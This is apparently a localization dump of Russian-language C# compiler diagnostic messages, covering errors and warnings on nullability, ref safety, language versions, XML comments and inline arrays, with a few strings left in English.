Каждый модуль должен иметь уникальное имя. + В этом контексте атрибуты недопустимы. + буферы фиксированного размера + Использование точки с запятой после блока метода или доступа недопустимо. + Члены {0} "{1}" невозможно использовать как значения ref или out, так как это переменная только для чтения + Невозможно объявить определяемый пользователем оператор "{0}" как проверенный + Внедрение типа взаимодействия "{0}" из сборки "{1}" служит причиной конфликта имен в текущей сборке. Попробуйте задать свойству "Внедрить типы взаимодействия" значение False. + Методы с переменным числом аргументов не совместимы с требованиями CLS. + "{0}": модификаторы доступа для методов доступа могут использоваться, только если свойство или индексатор имеет оба метода доступа, get и set. + Не удается определить класс или член, использующий dynamic, так как не удается найти требуемый компилятором тип "{0}". Возможно, отсутствует ссылка. + Для полей модификатор метода "abstract" недопустим. Вместо этого попробуйте использовать свойство. + Конструктор копий "{0}" должен быть открытым или защищенным, так как запись не запечатана. + выбор по значению логического типа + Результатом этого выражения всегда будет "Null" типа "{0}". + Допустимость значения NULL для ссылочных типов в типе параметра "{0}" не совпадает с частичным объявлением метода. + Атрибут CLSCompliant не имеет значения при применении к типам возвращаемых значений + Не удается преобразовать {0} в требуемый тип делегата, так как некоторые возвращаемые типы блока не могут быть неявно преобразованы в возвращаемый тип делегата. + Отсутствует комментарий XML для публично видимого типа или члена "{0}" + Член "{0}" реализует интерфейсный член "{1}" в типе "{2}". Во время выполнения возникает множественное соответствие интерфейсных членов. Реализация зависит от того, какой метод будет вызван. + Компилятор определяет это предупреждение, когда оно переопределяет ошибку с предупреждением. Для получения дополнительных сведений о проблеме выполните поиск упомянутой ошибки кода. + переменная using + Ограничение new() должно быть последним указанным ограничением. + "{0}" уже указан в списке интерфейсов типа "{2}" с другими именами элементов кортежа: "{1}". + Аргумент типа "{0}" запрещено использовать в качестве выходных данных типа "{1}" для параметра "{2}" в "{3}" из-за различий в отношении допустимости значений NULL для ссылочных типов. + поля ref + Полю "{0}" нигде не присваивается значение, поэтому оно всегда будет иметь значение по умолчанию {1}. + Недопустимая дружественная ссылка на сборку "{0}". Сборки, подписанные строгим именем, должны содержать в объявлении InternalsVisibleTo открытый ключ. + Тип несовместим с CLS, так как базовый интерфейс несовместим с CLS + Тип "{1}" уже определяет член "{0}" с такими же типами параметров. + <!-- Badly formed XML comment ignored for member "{0}" --> + Структура встроенного массива не должна иметь явного макета. + Невозможно преобразовать блок анонимного метода без списка параметров в тип делегата "{0}", так как он имеет один или несколько выходных параметров. + Допустимость значений NULL для типа параметра "{0}" не соответствует переопределенному элементу (возможно, из-за атрибутов допустимости значений NULL). + Атрибут "{0}" допустим только для методов или классов атрибутов. + Длина встроенного массива должна быть больше 0. + Использование ключевого слова "void" в этом контексте недопустимо. + Выражение switch не обрабатывает некоторые входные значения null (не является исчерпывающим). Например, шаблон "{0}" не охвачен. Однако шаблон с предложением "when" может соответствовать этому значению. + Функция языка "Встроенные массивы" не поддерживается для встроенных типов массивов с полем элемента, которое является полем "ref" или имеет недопустимый тип в качестве аргумента типа. + Пространство имен "{1}" уже содержит определение для "{0}". + элементы: не должно быть пустым + Внешние локальные функции + Ожидается идентификатор или численный литерал. + Комментарий XML в "{1}" имеет тег paramref для "{0}", но параметр для этого имени отсутствует. + Требуется перегружаемый унарный оператор. + Это возвращает по ссылке элемент параметра "{0}", который не является параметром ref или out + Невозможно выполнить поиск невиртуального члена в "{0}", поскольку это параметр типа + Для вложенного шаблона свойств требуется ссылка на свойство или поле для сопоставления, например, "{{ Name: {0} }}". + Имя модуля "{0}", сохраненное в "{1}", должно соответствовать его имени файла. + Литерал, равный NULL, не может быть преобразован в ссылочный тип, не допускающий значение NULL. + Использование "{0}" в качестве значения ref или out или получение его адреса может вызвать исключение времени выполнения, поскольку это поле класса, который маршалируется по ссылке + Указанная строка версии "{0}" не соответствует рекомендованному формату: основной номер.дополнительный номер.сборка.редакция + Это возвращает по ссылке элемент параметра, не являющийся параметром ref или out. + "{0}": элементы массива не могут быть статического типа. + конструктор + SyntaxTree не входит в компиляцию, поэтому его невозможно удалить + Не удается определить тип условного выражения, так как неявного преобразования между "{0}" и "{1}" не существует. + Невозможно присвоить "{0}" значение, так как он является "{1}". + Событие "{0}" может присутствовать только в левой части операций += и -= (кроме случая использования в типе "{1}"). + Свойство или индексатор "{0}" невозможно использовать в данном контексте, так как метод доступа set недоступен. + Модификатор "scoped" параметра "{0}" не соответствует целевому "{1}". + {0} не является допустимым выражением преобразования C# + Именованный аргумент "{0}" задает параметр, для которого уже был установлен позиционный аргумент. + Не удается преобразовать группу методов "{0}" в тип, не являющийся делегатом "{1}". Предполагалось вызывать этот метод? + Ключ /win32manifest для модуля пропущен, т. к. используется только для сборок + Оператор foreach требует, чтобы возвращаемый тип "{0}" для "{1}" имел соответствующий открытый метод MoveNext и открытое свойство Current. + (Местоположение символа, связанного с предыдущим предупреждением) + Инициализаторы массивов могут использоваться только в инициализаторах переменных или полей. Используйте выражение с оператором new. + <NULL> + <текст> + ограничения параметров типа по умолчанию + Несоответствие ссылок между методом "{0}" и делегатом "{1}" + "{0}": невозможно переопределить, так как "{1}" не является функцией. + неявно типизированная локальная переменная + Элемент записи "{0}" должен быть доступным для чтения свойством экземпляра или полем типа "{1}", чтобы соответствовать позиционному параметру "{2}". + "{0}" не может реализовать член интерфейса "{1}" в типе "{2}", так как целевая среда выполнения не поддерживает реализацию интерфейса по умолчанию. + Структура встроенного массива должна объявлять одно и только одно поле экземпляра. + Предопределенный тип "{0}" должен быть структурой. + Доступ к встроенному массиву может не иметь спецификатора именованного аргумента. + неявно типизированный массив + Чтобы создать токены идентификаторов, используйте Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier или Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier. + Ключевое слово \"delegate\" не может использоваться в качестве ограничения. Возможно, вы имели в виду \"System.Delegate\"? + "{0}": тип, использованный в операторе using, должен иметь возможность неявного преобразования в System.IDisposable. + Возможно, непреднамеренное сравнение ссылок; для получения сравнения значений приведите левую часть к типу "{0}". + Недопустимый спецификатор ранга: требуется "," или "]". + Метод доступа к свойству уже определен. + Невозможно инициализировать неявно типизированную переменную инициализатором массива. + Символ новой строки в константе. + Ожидаемые значения: "warnings", "annotations" или конец директивы + Невозможно создать экземпляр анализатора + Тело "{0}" не может быть блоком итератора, так как "{1}" не является типом интерфейса итератора. + Назначаемое для "{0}" выражение должно быть константным. + Размер массива не может быть указан в объявлении переменной (попытайтесь инициализировать его с помощью оператора new). + Выражение фильтра является константой "false". + "{0}": абстрактное событие не может иметь инициализатор. + Импортировано несколько сборок с одинаковыми удостоверениями: "{0}" и "{1}". Удалите одну из повторяющихся ссылок. + "{0}": тип, использованный в операторе using, должен иметь возможность неявного преобразования в System.IDisposable. Вы хотели использовать "await using" вместо "using"? + Тип "{1}" в "{0}" конфликтует с пространством имен "{3}" в "{2}". + Входные данные всегда соответствуют предоставленному шаблону. + Параметр ' {0} ' фиксируется в состоянии объемлющего типа, и его значение также используется для инициализации поля, свойства или события. + Атрибут CallerLineNumberAttribute не будет работать, так как он применяется к члену, который используется в контекстах, не допускающих дополнительные аргументы + Требуется тип. + Позиция должна находиться в диапазоне синтаксического дерева. + инициализаторы модулей + Дерево выражения не может содержать инициализатор многомерного массива. + Целевая среда выполнения не поддерживает расширяемые или принадлежащие среде выполнения соглашения о вызовах по умолчанию. + Атрибут InterpolatedStringHandlerArgument не действует при применении к лямбда-параметрам и будет проигнорирован на сайте вызова. + Интерфейсы не могут содержать поля экземпляра + Невозможно вернуть по ссылке "{0}", так как он был инициализирован значением, которое нельзя вернуть по ссылке + Глобальная директива using должна предшествовать всем неглобальным директивам using. + Неожиданное использование псевдонима. + Массив параметров не может быть использован с модификатором "this" в методе расширения. + Не удается выполнить требуемую для вызова метода "{0}" динамическую диспетчеризацию в связи с тем, что этот метод является частью базового выражения доступа. Попробуйте привести типы динамических аргументов или исключить доступ к базовым членам. + Автоматически реализуемое свойство должно быть полностью назначено перед возвратом контроля вызывающему элементу. Попробуйте обновить языковую версию, чтобы автоматически применить значение по умолчанию к этому свойству. + "{0}": тип не может быть одновременно статическим и запечатанным. + Все разделяемые объявления "{0}" должны относиться к одному типу (классы, классы записей, записи, структуры, структуры записей или интерфейсы) + GetEnumerator расширения + Имя типа "{0}" содержит только строчные символы ASCII. Такие имена могут резервироваться для языка. + Поле "{0}", совместимое с CLS, не может быть временным. + Невозможно использовать эту версию "{0}" с выражениями коллекций. + Требуется контекстное ключевое слово "equals". + 'Синтаксис "id#" больше не поддерживается. Вместо этого используйте "$id". + Предоставленный номер строки и символа не относится к началу токена ' {0} '. Вы хотели использовать строку ' {1} ' и символ ' {2} '? + Точкой входа программы является глобальный код; игнорируется точка входа + Допустимость значений NULL для ссылочных типов в типе параметра "{0}" объекта "{1}" не совпадает с явно реализованным членом "{2}". + Поле не используется + Объект "{0}" нельзя удалить более одного раза. + Дерево выражений не может содержать оператор == или != кортежа. + "{0}" не реализует член интерфейса "{1}". "{2}" не может реализовать "{1}", так как он не имеет соответствующего возвращаемого по ссылке типа. + "{0}" не может использоваться в качестве модификатора для параметра указателя на функцию. + Доступ к буферам фиксированного размера разрешен только через локальные переменные или поля. + Комментарий XML в "{1}" имеет тег typeparam для "{0}", но тип параметра для этого имени отсутствует. + Один из параметров оператора равенства или неравенства, объявленный в интерфейсе "{0}" должен быть параметром типа "{0}" с ограничением "{0}" + литералы необработанных строк + условное выражение с целевым типом + переопределение построителя методов async + Вложенные типы универсальных типов должны соответствовать в атрибутах cref + Дерево выражения не может содержать спецификацию именованного аргумента. + Недопустимый тип результата для /target: необходимо указать "exe", "winexe", "library" или "module" + Присваивание значений доступному только для чтения статическому полю допускается только в статическом конструкторе и в инициализаторе переменных. + Доступ к члену "{0}" через ссылку на экземпляр невозможен; вместо этого уточните его, указав имя типа. + Возможно, используется недопустимое назначение для локального параметра, который является аргументом оператора using или lock + У обязательного элемента "{0}" не должно быть атрибута "ObsoleteAttribute", если содержащий тип или все конструкторы не являются устаревшими. + Статическая анонимная функция не может содержать ссылку на "{0}". + Управление не может быть передано из тела предложения finally. + Параметр "{0}" записан в состоянии включающего типа, а его значение также передается базовому конструктору. Значение также может быть записано базовым классом. + Синтаксический узел не находится в синтаксическом дереве. + Возвращаемые по ссылке данные можно использовать только в методах, которые возвращают данные по ссылке + Возможно, возврат ссылки, допускающей значение NULL. + Тип "{3}" не может быть использован как параметр типа "{2}" в универсальном типе или методе "{0}". Допустимость значения NULL для аргумента типа "{3}" не соответствует типу ограничения "{1}". + Указанное выражение всегда соответствует предоставленному шаблону. + Тип "{0}" не может быть объявлен как const. + Не сравнивайте значения указателей на функции + Асинхронные методы не могут иметь параметры ref, in или out + Управление не может выйти за пределы переключателя с окончательной меткой case ("{0}") + Директива using для "{0}" ранее встречалась в этом пространстве имен + Свойство, индексатор или событие "{0}" не поддерживается в данном языке; попытайтесь вызвать метод доступа "{1}" напрямую. + Свойство, индексатор или событие "{0}" не поддерживается в данном языке; попытайтесь вызвать методы доступа "{1}" или "{2}" напрямую. + "{0}": не разрешено пользовательское преобразование в интерфейс или из интерфейса. + Не используйте refout при использовании refonly. + Недопустимо использовать параметр "{0}" с модификаторами ref, out или in внутри анонимного метода, лямбда-выражения, выражения запроса или локальной функции + Результат выражения — всегда NULL + Не удалось выдать модуль "{0}": {1} + выражение Throw + Метод "{0}" не может реализовать метод доступа интерфейса "{1}" для типа "{2}". Используйте явную реализацию интерфейса. + Атрибуты локальной функции + Псевдоним "{0}" конфликтует с определением {1}. + "{0}" не содержит определение для "{1}". + Значение целочисленной константы слишком велико. + Не удалось найти файл. + Объявление недопустимо в этом контексте. + Функция void or int, возвращающая точку входа, не может быть асинхронной + Комментарий XML содержит тег typeparamref, но параметр типа с таким именем не существует + Локальное имя слишком длинное для PDB-файла + Вместе с атрибутом ComImport следует задать атрибут Guid. + Допустимость значения NULL для ссылочных типов в типе параметра "{0}" не совпадает с переопределенным членом. + Нельзя использовать оператор yield в теле блока try, имеющего предложение catch. + Реализация явного интерфейса совпадает больше чем с одним членом интерфейса + Не допускается указывать /main при сборке модуля или библиотеки. + Не удается использовать коллекцию динамического типа в асинхронном операторе foreach + Допустимость значения NULL для ссылочных типов в возвращаемом типе не совпадает с явно реализованным членом. + Тип предназначен только для оценки и может быть изменен или удален в будущих обновлениях. Чтобы продолжить, скройте эту диагностику. + статическая анонимная функция + Аргумент {0} передаваться с помощью "ref" или "in" ключевое слово + Выражение типа "{0}" недопустимо в последующем предложении from в выражении запроса с исходным типом "{1}". Ошибка определения типа при вызове в "{2}". + оператор, распространяющий значения Null + Сборки "{0}" и "{1}" ссылаются на одни метаданные, но только одна из них является связанной ссылкой (указан параметр using /link); попробуйте удалить одну из ссылок. + ковариантные возвращаемые значения + ковариантный + Непредвиденный список аргументов. + Элементы с именем "Clone" не могут использоваться в записях. + Поля буферов фиксированного размера могут быть только членами структур. + Дерево выражений не может содержать преобразование кортежа. + Строка не начинается с того же пробела, что и закрывающая строка литерала необработанной строки. + абстрактные статические элементы в интерфейсах + Не удается выполнить чтение файла конфигурации "{0}" — "{1}". + Вызов неявного индексатора для индекса не может присвоить аргументу имя. + Асинхронные лямбда-выражения невозможно преобразовывать в деревья выражений. + Параметр типа "{1}" имеет ограничение "struct", поэтому "{1}" не может использоваться в качестве ограничения для "{0}". + элемент экземпляра в "nameof" + Предопределенный тип "{0}" не определен или не импортирован + Операция может привести к переполнению "{0}" в среде выполнения (для переопределения используйте синтаксис "unchecked") + Возможное значение NULL не может использоваться для типа, помеченного как [NotNull] или [DisallowNull] + Метод доступа "init" не может использоваться для статических элементов. + Аргумент типа не может иметь значение Null + Объявление внешнего псевдонима должно предшествовать всем другим элементам, определенным в пространстве имен. + Недопустимый параметр "{0}" для /platform; должен быть anycpu, x86, Itanium, arm, arm64 или x64 + Аргумент для атрибута "{0}" должен быть допустимым идентификатором. + переменные цикла for-loop для ссылки + Применение CallerMemberNameAttribute к параметру "{0}" ни к чему не приведет. Он переопределяется с помощью CallerFilePathAttribute. + К элементам типа встроенного массива можно получить доступ только с одним аргументом, неявно преобразуемым в «int», «System.Index» или «System.Range». + Несогласованность по доступности: доступность возвращаемого типа "{1}" ниже доступности делегата "{0}" + Атрибут безопасности "{0}" нельзя применить к асинхронному методу. + Атрибуты сборки и модуля должны находиться перед всеми остальными элементами в файле, кроме предложений using и описаний внешних псевдонимов. + Невозможно использовать тип в этом контексте, поскольку он не может быть представлен в метаданных. + Создана ссылка на внедренную сборку взаимодействия из-за непрямой ссылки на сборку + Элемент структуры возвращает "этот" или другие элементы экземпляра по ссылке + Неуправляемый тип "{0}" допустим только для полей. + Не удалось определить выходной каталог + Многострочные литералы необработанных строк должны содержать по крайней мере одну строку содержимого. + Второй операнд оператора "is" или "as" не может быть статического типа "{0}". + Перегруженный унарный оператор "{0}" принимает один параметр. + Небезопасный тип "{0}" не может применяться при создании объекта. + Номера строк и символов, предоставляемые InterceptsLocationAttribute, должны быть положительными. + Вокруг главного выражения switch требуются скобки. + Использование выходного параметра "{0}", которому не присвоено значение. + контравариантный + Параметр "{0}" не прочитан. + Атрибут Conditional недопустим для членов интерфейса. + Невозможно изменить результат преобразования при распаковке. + Ключевые слова ref и out недопустимы в этом контексте. + Конечный тег "{0}" не соответствует начальному тегу "{1}". + Правая часть назначения оператора fixed не может быть выражением приведения типа. + ссылочные методы расширения + Члены поля "{0}", предназначенного только для чтения, могут быть изменены только в конструкторе или инициализаторе переменных. + При предположении, что ссылка на сборку "{0}", используемая "{1}", совпадает с удостоверением "{2}"для "{3}", возможно, потребуется задать политику среды выполнения + Типы кортежей, используемые в качестве операндов оператора == или !=, должны иметь соответствующие кратности. Однако этот оператор имеет типы кортежей с кратностью {0} слева и {1} справа. + Значение SecurityAction "{0}" недопустимо для атрибутов безопасности, применяемых к сборке + "{0}" не переопределяет ожидаемый метод из "object". + Переменная диапазона "{0}" конфликтует с предыдущим объявлением "{0}". + GetAsyncEnumerator расширения + Чтобы тип "{2}" можно было использовать как параметр "{1}" в универсальном типе метода "{0}", он должен быть типом значения, который, как и все поля на любом уровне вложения, не допускает значения NULL. + Не удалось найти тип или имя пространства имен "{0}" (возможно, отсутствует директива using или ссылка на сборку). + Требуется контекстное ключевое слово "on". + Требуется контекстное ключевое слово "by". + Тип "{3}" не может быть использован как параметр типа "{2}" в универсальном типе или методе "{0}". Нет преобразования-упаковки из "{3}" в "{1}". + Метод расширения должен быть статическим. + Недопустимый тип возвращаемого значения в атрибуте cref XML-комментария + "{0}" является устаревшим: '{1}' + Сборка {0} не содержит анализаторов. + Текст метода асинхронного итератора должен содержать оператор "yield". + ковариантно + Была создана ссылка на внедренную сборку взаимодействия "{0}", поскольку существует косвенная ссылка на эту сборку, созданная сборкой "{1}". Рассмотрите возможность изменения свойства "Внедрять типы взаимодействия" в любой сборке. + Файл с исходным текстом программы превысил установленный в PDB-файле предел в 16 707 565 строк; отладочная информация будет неправильной + коллекция + Не используйте "System.Runtime.CompilerServices.DynamicAttribute". Используйте вместо этого ключевое слово "dynamic". + "{0}" не может быть помечен как совместимый с CLS, поскольку сборка не имеет атрибута CLSCompliant. + Не удается присвоить по ссылкеь "{1}" для "{0}",так как "{1}" может избежать текущего метода только через оператор return. + Указанная версия языка не поддерживается или недопустима: "{0}". + Ожидался оператор выражения или оператор объявления. + Модификатор "scoped" параметра "{0}" не соответствует объявлению разделяемого метода. + Невозможно присвоить значение свойству или индексатору "{0}" — доступ только для чтения. + Тип возвращаемого значения метода, делегата или указателя на функцию не может иметь значение "{0}". + Ожидается доступ к идентификатору или простому элементу. + Это возвращает local "{0}" по ссылке, но это не ref local + Ссылка на анализатор указана несколько раз + Несогласованные ограничения допустимости значения NULL для параметра типа в частичных объявлениях метода. + Несогласованность по доступности: доступность типа поля "{1}" ниже доступности поля "{0}" + Параметр /pdb требует использования параметра /debug. + 'Выражение, заданное выражению is всегда имеет указанный тип + Глобальную директиву using нельзя использовать в объявлении пространства имен. + #pragma + Тип "{0}" должен быть открытым для использования в качестве соглашения о вызовах. + Обязательный элемент "{0}" должен быть задаваемым. + Каждый связанный ресурс и модуль должны иметь уникальное имя файла. Имя файла "{0}" определено более одного раза в этой сборке. + Вызов System.IDisposable.Dispose() в выделенном экземпляре до того, как все ссылки, указывающие на него, окажутся за пределами диапазона + Запрещено указывать модификаторы readonly для обоих методов доступа свойства или индексатора "{0}". Вместо этого укажите модификатор readonly для самого свойства. + устарело для метода доступа к свойству + Метод обработчика интерполированной строки "{0}" имеет несогласованный тип возвращаемого значения. Ожидаемый тип возвращаемого значения "{1}". + Дерево лямбда-выражения не может содержать вызов COM с пропущенным аргументом ref. + Параметр params не может объявляться с ключевым словом {0} + В операторе foreach требуется указать и тип, и идентификатор. + Аргумент {0}: не удается преобразовать из "{1}" в "{2}". + Спецификации именованных аргументов должны создаваться после указания всех фиксированных аргументов. Используйте версию языка {0} или более позднюю, чтобы разрешить неконечные именованные аргументы. + Строка должна начинаться с символа кавычки " + Ограничения для параметра типа "{0}" метода "{1}" должны соответствовать ограничениям параметра типа "{2}" метода интерфейса "{3}". Рассмотрите возможность явной реализации интерфейса. + Невозможно вернуть переменную диапазона "{0}" по ссылке + Допустимость значения NULL для ссылочных типов в типе не совпадает с реализованным членом "{0}". + Небезопасный код не может использоваться в итераторах. + Перехватчик не может быть помечен атрибутом UnmanagedCallersOnlyAttribute. + Оператор typeof невозможно использовать для ссылочного типа, допускающего значения NULL. + Конструкция __arglist допускается только в методе с переменным числом аргументов. + Невозможно определить тип условного выражения, так как "{0}" и "{1}" неявно преобразовываются друг в друга. + Возможное значение NULL не может использоваться для типа, помеченного как [NotNull] или [DisallowNull] + обработчики интерполированных строк + '"new" невозможно использовать с типом кортежа. Вместо этого используйте литеральное выражение кортежа. + Непредвиденный токен "{0}" + Для соответствия альтернативному ссылочному значению выражение должно иметь тип "{0}" + Невозможно использовать локальную переменную или локальную функцию "{0}", объявленную в инструкции верхнего уровня в этом контексте. + "{0}": не может быть производным от запечатанного типа "{1}". + Модификатор "ref" для аргумента{0} соответствующего параметру "in", эквивалентен in. Попробуйте использовать "in". + stackalloc во вложенных выражениях + Точкой входа отладки должно быть определение метода, объявленное в текущей компиляции. + Не определен порядок полей в нескольких декларациях разделяемой структуры + При предположении, что ссылка на сборку "{0}", используемая "{1}", совпадает с удостоверением "{2}"для "{3}", возможно, потребуется задать политику среды выполнения + Допустимость значения NULL для ссылочных типов в возвращаемом типе не совпадает с реализованным членом. + Не удается преобразовать группу методов в указатель на функцию. (Возможно, пропущен "&"?) + Комментарий XML для "{0}" имеет тег typeparam, но тип параметра для этого имени отсутствует. + Должен быть указан параметр атрибута "{0}" или "{1}". + Должен быть указан параметр атрибута "{0}". + метод, воплощающий выражение + Невозможно использовать параметр основного конструктора "{0}" типа ref-like внутри элемента экземпляра + Атрибут CallerFilePathAttribute не будет работать, так как он применяется к члену, который используется в контекстах, не допускающих необязательные аргументы. + Не удается скомпилировать сетевые модули при использовании /refout или /refonly. + Тип "{3}" не может быть использован как параметр типа "{2}" в универсальном типе или методе "{0}". Тип "{3}", допускающий значение Null, не соответствует ограничению "{1}". Типы, допускающие значение Null, не соответствуют никаким ограничениям интерфейсов. + Неправильно сформированный XML во включенном файле комментариев + Пространство имен "{1}" содержит определение, конфликтующее с псевдонимом "{0}". + Недопустимое имя сборки: {0} + Дерево выражений не может содержать отмену. + не шаблон + Argument should be passed with the 'in' keyword + Использование is для проверки совместимости с типом dynamic равнозначно проверке совместимости с типом Object + Разделяемый метод "{0}" должен содержать часть реализации, так как он имеет модификаторы доступа. + Директива "using namespace" может применяться только к пространствам имен; "{0}" является типом, а не пространством имен. Используйте директиву "using static" + Члены доступного только для чтения поля "{0}" можно использовать как значение ref или out только в конструкторе + Ошибка в синтаксисе командной строки: Недопустимый формат Guid "{0}" для параметра "{1}". + Не используйте "_" для ссылки на тип в выражении is-type. + Литерал по умолчанию "default" недопустимо использовать в качестве шаблона. Используйте другой литерал (например, "0" или "null") по мере необходимости. Чтобы задать полное совпадение, используйте шаблон отмены "_". + В атрибутах cref вложенные типы универсальных типов должны быть полными. + CallerLineNumberAttribute можно применять только к параметрам со значениями по умолчанию. + Результат выражения всегда равен "{0}", поскольку значение типа "{1}" никогда не равно Null типа "{2}" + Невозможно вернуть значение итератора. Используйте оператор yield return для возвращения значения или оператор yield break для окончания итерации. + Генератору не удалось создать источник. + Ожидается "disable" или "restore" + Параметр "{0}" должен быть абсолютным путем. + Недопустимое значение версии {0} для /subsystemversion. Для ARM или AppContainerExe должна быть указана версия 6.02, в остальных случаях - версия 4.00 или выше + Недопустимый оператор объявления элемента инициализатора. + ограничения универсального типа перечисления + Неправильный формат параметра pathmap. + Тип буфера фиксированного размера должен входить в следующий список: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float или double. + Это сочетание аргументов для "{0}" запрещено, так как оно может делать переменные, на которые ссылается параметр "{1}", доступными за пределами их области объявления + Значение константы "{0}" не может быть преобразовано в "{1}". + Аргумент "{0}" не должен передаваться с ключевым словом "{1}". + Свойство или индексатор "{0}" невозможно использовать в данном контексте, так как метод доступа get недоступен. + локальные функции + Возвращаемые свойства ссылки не могут быть обязательными. + кортежи + внешний псевдоним + Недопустимый элемент включения для XML — {0} + Параметр типа, допускающий значение null, должен представлять собой тип значения или ссылку на тип, не допускающую значение null, если не используется версия языка "{0}" или выше. Попробуйте изменить версию языка или добавить ограничение "class", "struct" или ограничение типа. + Величина значения выравнивания может привести к возникновению большой форматированной строки + Дерево выражения не может содержать встроенный доступ к массиву или преобразование + Тип в операторах caught или thrown должен быть производным от System.Exception. + Не указаны исходные файлы + Атрибут "{0}" пропускается при указании общедоступного подписывания. + Буфер фиксированного размера с длиной {0} и типом "{1}" слишком велик. + "{0}" не удается реализовать "{1}", так как он не поддерживается в данном языке. + Функция "{0}" недоступна в C# 8.0. Используйте версию языка {1} или более позднюю. + Функция "{0}" недоступна в C# 9.0. Используйте как минимум версию языка {1}. + Возможность "{0}" недоступна в C# 2. Используйте версию языка {1} или выше. + Возможность "{0}" недоступна в C# 3. Используйте версию языка {1} или выше. + Возможность "{0}" недоступна в C# 1. Используйте версию языка {1} или выше. + Возможность "{0}" недоступна в C# 6. Используйте версию языка {1} или выше. + Возможность "{0}" недоступна в C# 7.0. Используйте версию языка {1} или более позднюю. + Возможность "{0}" недоступна в C# 4. Используйте версию языка {1} или выше. + Возможность "{0}" недоступна в C# 5. Используйте версию языка {1} или выше. + Метод "{0}" задает ограничение struct для параметра типа "{1}", но соответствующий параметр типа "{2}" переопределенного или явно реализованного метода "{3}" не является типом значения, не допускающим значение NULL. + параметр /LIB + Атрибут Conditional для "{0}" недопустим, так как возвращаемый тип не является недействительным. + У перехватчика не должно быть параметра this, потому что у {0} нет параметра this. + шаблон типа + Ресурс оператора использования типа "{0}" нельзя применять в асинхронных методах или асинхронных лямбда-выражениях. + Атрибут DllImport не может применяться для универсального метода или метода, содержащегося в универсальном методе или типе. + Конструктор структуры без параметров должен быть публичным. + Использование локальной переменной "{0}", которой не присвоено значение. + Свойство или индексатор, не возвращающие значения, не могут использоваться в качестве значения out или ref. + Член переопределяет базовый член с помощью нескольких кандидатов переопределения во время выполнения + Невозможно вернуть "{0}" по ссылке, так как это "{1}" + Пропуск загрузки типов в сборке анализатора, завершившихся сбоем из-за ReflectionTypeLoadException + Поле элемента встроенного массива не может быть объявлено как обязательное, доступное только для чтения, переменное или как буфер фиксированного размера. + Метод, помеченный [DoesNotReturn], не должен возвращать значение. + Только одна единица компиляции может содержать инструкции верхнего уровня. + Параметры или локальные переменные типа "{0}" не могут объявляться в асинхронных методах и в асинхронных лямбда-выражениях. + Отсутствует определяющее объявление для реализующего объявления разделяемого метода "{0}". + реализация интерфейса по умолчанию + Ссылка на тип "{0}" требует его определения в данной сборке, однако он не определен в исходном тексте программы или добавленных модулях. + Невозможно передать значение NULL в качестве имени дружественной сборки. + Указанное значение по умолчанию не будет работать, так как оно применяется к члену, который используется в контекстах, не допускающих дополнительные аргументы + Возвращаемое значение должно быть отлично от NULL, так как параметр имеет значение, отличное от NULL. + Пустой блок switch + "{0}": абстрактный тип не может быть запечатанным или статическим. + Введение метода Finalize может помешать вызову деструктора + Нельзя использовать объект "this", пока не будут назначены все его поля. Попробуйте обновить до языковой версии "{0}", чтобы автоматически применить значения по умолчанию к неназначенным полям. + Последовательность символов \"@\" не разрешена. Буквальная строка или идентификатор может содержать только один символ \"@\", а необработанная строка не может содержать их вообще. + Исходный файл может содержать только одно объявление пространства имен с файловой областью. + Указанное выражение всегда соответствует предоставленному шаблону. + Требуется указать инициализатор в объявлении оператора fixed или using. + Возвращаемый тип оператора ++ или -- должен соответствовать типу параметра или быть производным от типа параметра. + Недопустимое отклонение: Параметр типа "{1}" должен быть {3}, допустимым на "{0}". "{1}" является {2}. + Обязательные члены не разрешены на верхнем уровне сценария или отправки. + "{0}": пользовательские преобразования в динамические типы или из них не разрешены. + AppConfigPath должен быть абсолютным. + Ориентированные на поле атрибуты для автосвойств не поддерживаются в версии языка {0}. Используйте версию языка {1} или выше. + "{0}": абстрактное событие не может использовать синтаксис метода доступа к событиям. + Атрибут [EnumeratorCancellation] невозможно использовать для нескольких параметров. + Использование элемента результата "{0}" в этом контексте может представить переменные, на которые ссылается параметр "{1}", за пределами области их объявления. + Применение CallerFilePathAttribute к параметру "{0}" ни к чему не приведет. Он переопределяется с помощью CallerLineNumberAttribute. + Возможно, ошибочный пустой оператор + лямбда-атрибуты + Невозможно преобразовать лямбда-выражение с атрибутами в дерево выражения + Тип "{3}" не может быть использован как параметр типа "{2}" в универсальном типе или методе "{0}". Нет преобразования-упаковки или преобразования параметра типа из "{3}" в "{1}". + Некорректный XML во включенном файле комментариев — "{0}". + Реляционные шаблоны не могут использоваться для NaN с плавающей запятой. + Автоматически реализуемые свойства должны переопределять все методы доступа переопределенного свойства. + Ключевое слово \"enum\" не может использоваться в качестве ограничения. Возможно, вы имели в виду \"struct, System.Enum\"? + Невозможно использовать подвыражение в аргументе nameof. + Ветви условного оператора ref не могут ссылаться на переменные с несовместимыми областями объявления + Поле буфера фиксированного размера должно иметь спецификатор размера массива после имени поля. + указатель функции + Директива #warning + Ни одна из перегрузок метода "{0}" не принимает {1} аргументов. + Не удается применить индексирование через [] к выражению типа "{0}". + Значение директивы #line отсутствует или находится за пределами допустимого диапазона + Attribute parameter 'SizeConst' must be specified. + "{0}" не является допустимым ограничением. Тип, использованный в качестве ограничения, должен быть интерфейсом, незапечатанным классом или параметром-типом. + Неоднозначная ссылка в атрибуте cref: "{0}". Предполагается "{1}", но может также соответствовать другим перегрузкам, включая "{2}". + Класс "{0}" не может иметь несколько базовых классов: '{1}" и "{2}" + "{0}" переопределяет Object.Equals(object o), но не переопределяет Object.GetHashCode(). + Перехватчик не может иметь «нулевой» путь к файлу. + Ненужная директива using. + Не удалось найти доступный '{0}' с ожидаемой сигнатурой: статический метод с одним параметром типа "ReadOnlySpan<{1}>" и типом возвращаемого '{2}'. + Имя "{0}" не существует в текущем контексте. + Отсутствует внешний цикл для прерывания или продолжения. + Явная реализация интерфейса '{0}' соответствует более чем одному члену интерфейса. Выбор члена интерфейса зависит от реализации. Возможно, требуется использовать неявную реализацию. + Допустимость значений NULL для ссылочных типов в типе параметра "{0}" не соответствует реализованному элементу "{1}" (возможно, из-за атрибутов допустимости значений NULL). + Ссылка на неопределенную сущность "{0}". + Комментарий XML содержит некорректный XML — "{0}". + Свойства, возвращающие данные по ссылке, должны иметь метод доступа get + Элементы с атрибутом "ObsoleteAttribute" не должны быть обязательными, если содержащий тип или все конструкторы не являются устаревшими. + Несогласованность по доступности: доступность базового интерфейса "{1}" ниже доступности интерфейса "{0}" + 